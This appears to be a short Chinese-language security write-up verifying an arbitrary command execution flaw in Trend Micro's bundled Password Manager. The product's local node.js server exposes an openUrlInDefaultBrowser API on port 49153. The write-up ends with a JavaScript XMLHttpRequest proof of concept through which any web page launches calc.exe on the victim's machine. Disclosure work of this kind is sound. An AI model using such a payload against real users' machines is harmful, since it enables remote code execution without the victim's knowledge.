趋势科技密码管理程序任意命令执行漏洞验证

文/图阿尔法实验室 kernux

趋势科技杀毒软件套装windows版本中，包含一个密码管理程序，该程序也在官网提供了单独下载的连接，是一个免费的服务。默认安装最新的TRAND Micro：

图1

可以在数据安全中找到这个密码管理程序，默认就是开启的，可以看到在本地进行端口监听：

图2

监听的端口是49153，google分析中给出是49155，看来这个端口应该是在一个范围内。这个服务是node.js开发的http server程序，在这个url处存在任意命令执行漏洞：

这个api本来是用来在浏览器中打开一个页面的：

图3

然而却也可以打开系统路径：

图4

进而又可以打开路径中的文件：

图5

最后连可执行文件也不在话下，功能着实强大啊：

图6

此漏洞的危害就在于，只要攻击者在页面内插入类似这样的请求：

x = new XMLHttpRequest()

1	x = new XMLHttpRequest()

x.open("GET", "https://localhost:49153/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);

1	x.open("GET", "https://localhost:49153/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);

try { x.send(); } catch (e) {};

1	try { x.send(); } catch (e) {};

就可以在安装TrendMicro的windows系统上执行任意命令，危害可想而知。